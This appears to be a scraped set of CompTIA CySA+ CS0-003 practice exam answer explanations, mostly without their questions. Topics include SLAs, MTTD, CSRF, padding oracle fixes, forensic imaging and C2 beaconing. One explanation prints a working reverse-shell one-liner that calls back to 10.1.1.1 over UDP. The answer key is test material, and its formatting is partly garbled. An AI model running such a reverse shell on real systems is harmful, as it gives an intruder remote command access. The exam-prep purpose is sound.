CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Free Practice Exam Questions (2026 Updated)

Comprehensive Detailed Explanation:A Service Level Agreement (SLA) defines the expectations, requirements, and metrics for third-party services, including response times and responsibilities during an event. Here’s an overview of each option:

A. BIA (Business Impact Analysis)

Explanation: BIA is used to assess potential impacts of disruptions to business operations, but it does not specify third-party response requirements.

B. DRP (Disaster Recovery Plan)

Explanation: DRP provides recovery procedures for internal systems and services but does not directly establish third-party obligations.

C. SLA (Service Level Agreement)

Explanation: SLAs set clear expectations for third-party services, including response times, performance metrics, and specific requirements during incidents. SLAs ensure accountability for external providers during critical events.

D. MOU (Memorandum of Understanding)

Explanation: An MOU defines general terms and intentions between parties but lacks the specific performance metrics required in an SLA.

A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user’s system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command:

sh -i >& /dev/udp/10.1.1.1/4821 0>$l

This command is a shell script that creates a reverse shell connection from the target system to the remote user’s system at IP address 10.1.1.1 and port 4821 using UDP protocol.

Comprehensive and Detailed Explanation From Exact Extract:

The metric that measures how quickly something is detected/identified is Mean Time to Detect (MTTD). Although MTTD is often used in incident detection, it directly matches the wording “how quickly … are identified” because it measures the time between occurrence and detection.

Secbay Press defines MTTD explicitly as the time to detect an issue:

Exact extract (Secbay Press):

“Mean Time to Detect (MTTD) is… the average time taken to identify and detect a security incident… Mean time to detect is how long it took… to when it was detected.”

Why the other options are not best:

KPI is a category/type of measure (a key metric), not the specific metric itself. Secbay distinguishes metrics vs KPIs and lists MTTD as a KPI example.

SLO is a service objective/target, not a measurement of detection speed by itself.

Alert volume measures quantity of alerts, not detection time.

Exact extract (Secbay Press):

“KPI: Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR).”

Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users. Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

The user has become an insider threat by downloading software that contains malware onto a computer that eventually infects numerous other systems. An insider threat is a person or entity that has legitimate access to an organization’s systems, networks, or resources and uses that access to cause harm or damage to the organization. An insider threat can be intentional or unintentional, malicious or negligent, and can result from various actions or behaviors, such as downloading unauthorized software, violating security policies, stealing data, sabotaging systems, or collaborating with external attackers.

Dictionary attacks involve an attacker attempting to guess passwords by using a list of common passwords. Implementing a lockout policy is effective because it limits the number of login attempts, thereby hindering the attacker's ability to repeatedly attempt different passwords. Lockout policies are standard in cybersecurity practices to prevent brute-force and dictionary attacks by temporarilydisabling an account after a certain number of failed login attempts. According to CompTIA Security+ standards, password complexity (option B) and multifactor authentication (option A) are helpful but are not as immediately effective in directly preventing repeated attempts as a lockout policy.

Outdated librariesin a legacy web applicationintroduce security vulnerabilities, as theylack modern patchesandcontain known exploits​.

Option A (Misconfigured WAF)can contribute to security issues but is notinherent to legacy applications.

Option B (Data integrity failure)is apotential impactbut not a direct cause of recurring incidents.

Option D (Insufficient logging)affects detection, but theroot causeisinsecure, outdated components.

Thus,C (Outdated libraries) is the correct answer, aslegacy applications frequently suffer from unpatched vulnerabilities​.

A mean time to remediate (MTTR) is a metric that measures how long it takes to fix a vulnerability after it is discovered. A MTTR of 30 days would best protect the organization from the new attacks that are exploited 45 days after a patch is released, as it would ensure that the vulnerabilities are fixed before they are exploited

Automatingthe generation of NIDS (Network Intrusion Detection System) rulesbased onStructured Threat Information eXpression (STIX) messagesis apractical use of automationin security operations​.

Option B (Privileged access requests)should involve human oversight due to thehigh risk of unauthorized access.

Option C (PKI identity verification)requires manualdocument verificationandhuman approval.

Option D (Malware analysis)often requiressandboxing and behavioral analysis, which benefit from human expertise.

Thus,A is the correct answer, asautomating threat intelligence ingestion and rule creation enhances efficiency in intrusion detection​.

A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case, the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

A Memorandum of Understanding (MOU) is a formal agreement that outlines the roles and responsibilities of each party involved in a particular process or project, especially within security frameworks. In the context of cybersecurity, an MOU is commonly used to clarify and document the security responsibilities of different departments or entities involved. It helps ensure everyone understands their specific duties and contributions to security, which is crucial for coordination and risk management. According to CompTIA Security+ guidelines, while options A, C, and D describe other forms of agreements, they do not capture the essential purpose of an MOU as accurately as option B does.

Abit-level imageis a forensic-grade copy that preservesalldata on a disk, including unallocated space, deleted files, and metadata. This is the most legally defensible form of digital evidence collection, as it ensures that no potential evidence is missed​.

Copying all access files (Option A)only captures live files and omits deleted or system-level artifacts that may be critical.

Creating a file-level archive (Option B)is insufficient because it does not capture system metadata or slack space where forensic artifacts reside.

Providing a full system backup inventory (Option C)may include important files, but it lacks forensic integrity because backups often modify timestamps and do not capture all system states​.

Thus, the correct answer isD, as abit-level image ensures forensic integrity and completeness of evidence​.

The most likely attack that was performed is CSRF (Cross-Site Request Forgery). This is an attack that forces a user to execute unwanted actions on a web application in which they are currently authenticated1. If the user has several tabs open in the browser, one of them might contain a malicious link or form that sends a request to the web application to change the user’s password, email address, or other account settings. The web application will not be able to distinguish between the legitimate requests made by the user and the forged requests made by the attacker. As a result, the user will lose access to their account.

To prevent CSRF attacks, web applications should implement some form of anti-CSRF tokens or other mechanisms that validate the origin and integrity of the requests2. These tokens are unique and unpredictable values that are generated by the server and embedded in the forms or URLs that perform state-changing actions. The server will then verify that the token received from the client matches the token stored on the server before processing the request. This way, an attacker cannot forge a valid request without knowing the token value.

Some other possible attacks that are not relevant to this scenario are:

RFI (Remote File Inclusion) is an attack that allows an attacker to execute malicious code on a web server by including a remote file in a script. This attack does not affect the user’s browser or account settings.

LFI (Local File Inclusion) is an attack that allows an attacker to read or execute local files on a web server by manipulating the input parameters of a script. This attack does not affect the user’s browser or account settings.

XSS (Cross-Site Scripting) is an attack that injects malicious code into a web page that is then executed by the user’s browser. This attack can affect the user’s browser or account settings, but it requires the user to visit a compromised web page or click on a malicious link. It does not depend on having several tabs open in the browser.

The correct answer is A. Configure the server to prefer TLS 1.3 and B. Remove cipher suites that use CBC.

A padding oracle attack is a type of attack that exploits the padding validation of a cryptographic message to decrypt the ciphertext without knowing the key. A padding oracle is a system that responds to queries about whether a message has a valid padding or not, such as a web server that returns different error messages for invalid padding or invalid MAC. A padding oracle attack can be applied to the CBC mode of operation, where the attacker can manipulate the ciphertext blocks and use the oracle’s responses to recover the plaintext12.

To remediate this issue, the organization should make the following configuration changes:

Configure the server to prefer TLS 1.3. TLS 1.3 is the latest version of the Transport Layer Security protocol, which provides secure communication between clients and servers. TLS 1.3 has several security improvements over previous versions, such as:

It deprecates weak and obsolete cryptographic algorithms, such as RC4, MD5, SHA-1, DES, 3DES, and CBC mode.

It supports only strong and modern cryptographic algorithms, such as AES-GCM, ChaCha20-Poly1305, and SHA-256/384.

It reduces the number of round trips required for the handshake protocol, which improves performance and latency.

It encrypts more parts of the handshake protocol, which enhances privacy and confidentiality.

It introduces a zero round-trip time (0-RTT) mode, which allows resuming previous sessions without additional round trips.

It supports forward secrecy by default, which means that compromising the long-term keys does not affect the security of past sessions3456.

Remove cipher suites that use CBC. Cipher suites are combinations of cryptographic algorithms that specify how TLS connections are secured. Cipher suites that use CBC mode are vulnerable to padding oracle attacks, as well as other attacks such as BEAST and Lucky 13. Therefore, they should be removed from the server’s configuration and replaced with cipher suites that use more secure modes of operation, such as GCM or CCM78.

The other options are not effective or necessary to remediate this issue.

Option C is not effective because configuring the server to prefer ephemeral modes for key exchange does not prevent padding oracle attacks. Ephemeral modes for key exchange are methods that generate temporary and random keys for each session, such as Diffie-Hellman or Elliptic Curve Diffie-Hellman. Ephemeral modes provide forward secrecy, which means that compromising the long-term keys does not affect the security of past sessions. However, ephemeral modes do not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the key exchange9.

Option D is not necessary because requiring client browsers to present a user certificate for mutual authentication does not prevent padding oracle attacks. Mutual authentication is a process that verifies the identity of both parties in a communication, such as using certificates or passwords. Mutual authentication enhances security by preventing impersonation or spoofing attacks. However, mutual authentication does not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the authentication.

Option E is not necessary because configuring the server to require HSTS does not prevent padding oracle attacks. HSTS stands for HTTP Strict Transport Security and it is a mechanism that forces browsers to use HTTPS connections instead of HTTP connections when communicating with a web server. HSTS enhances security by preventing downgrade or man-in-the-middle attacks that try to intercept or modify HTTP traffic. However, HSTS does not protect against padding oracle attacks, which exploit the padding validation of HTTPS traffic rather than the protocol.

Option F is not effective because removing cipher suites that use GCM does not prevent padding oracle attacks. GCM stands for Galois/Counter Mode and it is a mode of operation that provides both encryption and authentication for block ciphers, such as AES. GCM is more secure and efficient thanCBC mode, as it prevents various types of attacks, such as padding oracle, BEAST, Lucky 13, and IV reuse attacks. Therefore, removing cipher suites that use GCM would reduce security rather than enhance it .

Generating a hash value and making a backup image is the best method to ensure the data on the device is not modified, as it creates a verifiable copy of the original data that can be used for forensic analysis. Encrypting the device, protecting it with a password, or performing a memory scan dump do not prevent the data from being altered or deleted. Verified References: CompTIA CySA+ CS0-002 Certification Study Guide, page 3291

Data masking is a technique that replaces sensitive data with fictitious or anonymized data, while preserving the original format and structure of the data. This way, the data can be used for testing purposes without revealing the actual Pll information. Data masking is one of the best practices for data analysis of confidential data1. References: CompTIA CySA+ CS0-003 Certification Study Guide, page 343; Best Practices for Data Analysis of Confidential Data

Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository.

Command-and-control (C2) beaconing involves compromised systems communicating with an attacker’s server at regular intervals, often using HTTPS to blend in with legitimate traffic. This is indicative of a potential compromise where malware communicates back to a command center. The persistent nature of the connections after hours and throughout the day suggests automated beaconing, which is a tell-tale sign of C2 activity. According to CompTIA CySA+, this type of activity should raise immediate suspicion and warrants further investigation and containment. While options B, C, D, and E might indicate other issues, they do not fit the pattern described as well as option A.

Risk scoringis the best method for prioritizing patching, as it considers factors likeCVSS severity, exploitability, asset criticality, and business impact​.

Option A (Affected hosts)is relevant but does notdetermine prioritywithout a risk assessment.

Option C (Mitigation strategy)is useful but focuses on alternative protections rather than prioritization.

Option D (Annual recurrence)is not a standard method for vulnerability prioritization.

Thus,B is the correct answer, asrisk scores allow organizations to prioritize patching efforts effectively​.